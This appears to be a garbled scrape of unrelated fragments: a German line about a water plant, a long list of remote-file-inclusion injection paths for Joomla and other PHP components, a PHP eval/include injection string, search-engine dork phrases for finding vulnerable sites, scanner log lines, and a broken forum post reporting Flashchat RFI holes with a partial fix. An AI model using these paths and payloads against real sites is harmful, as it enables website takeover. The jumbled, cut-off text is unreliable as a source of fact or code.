Mehr Infos auch unter Spargel Hydro-G - Ergrnungsfhigkeit der Wasserpflanze Mehr Infos auch unter option=com_content&task=§ionid=&id=&mos Config_absolute_path= "/includes/joomla.php" /parse/parser.php? WN_BASEDIR= WEB//NEWS Personal Newsmanagement - © 2002-2004 by Christian Scheb - /? last_module=z Zz_ADOConnectioneval($_GET[w]);class z Zz_ADOConnection//&w=include($_GET[a]);&a= "powered by CMS Made Simple version" /s_php?

mos Config_absolute_path= /components/com_mosmedia/php? mos Config_absolute_path= /administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php? mos Config_live_site= /administrator/components/com_joomlaflashfun/admin.joomlaflashfun.php? mos Config_live_site= /administrator/components/com_joom12pic/admin.joom12pic.php? mos Config_live_site= /components/com_slideshow/admin.slideshow1.php? mos Config_live_site= /administrator/components/com_panoramic/admin.panoramic.php? mos Config_live_site= /administrator/components/com_wmtgallery/admin.wmtgallery.php? mos Config_live_site= /administrator/components/com_wmtportfolio/admin.wmtportfolio.php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/js.php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/php? mos Config_absolute_path= /administrator/components/com_mosmedia/includes/php? mos Config_absolute_path= buat wordpress index/wp-content/plugins/Enigma2.php? boarddir= mygallery/myfunctions/mygallerybrowser.php? rfi administrator/components/com_comprofiler/plugin.class.php? .194 - - [24/Dec/ -0500] "GET /forum/archive/index.php/inc/cmses/aedating CMS.php? HTTP/1.1" 200 5783 "-" "libwww-perl/5.805" 72.2 - - [24/Dec/ -0500] "GET /forum/index.php? error= "Powered by Orca Interactive Forum Script" /program/modules/mods_full/shopping_cart/includes/login.php? Here are 3 RFI vulnerabilities in Flashchat i've found: Code: The script that would require these files is AEDating: you simply delete the following files and you will be secure: /inc/cmses/aedating4/inc/cmses/aedating /inc/cmses/aedating CMS2if your flashchat is integrated with AEDating and/or you dont want to delete the files you can just edit the 3 files to use your path like this: Replace this: $aed_root_path = realpath(dirname(__FILE__) . video here: Code: EDIT: Solution: It looks like the vulnerable files are there in case you want to integrate with another script. 'inc/php'); require_once( "$dir[inc]php" ); require_once( "$dir[inc]php" ); With this: $aed_root_path = realpath(dirname(__FILE__) .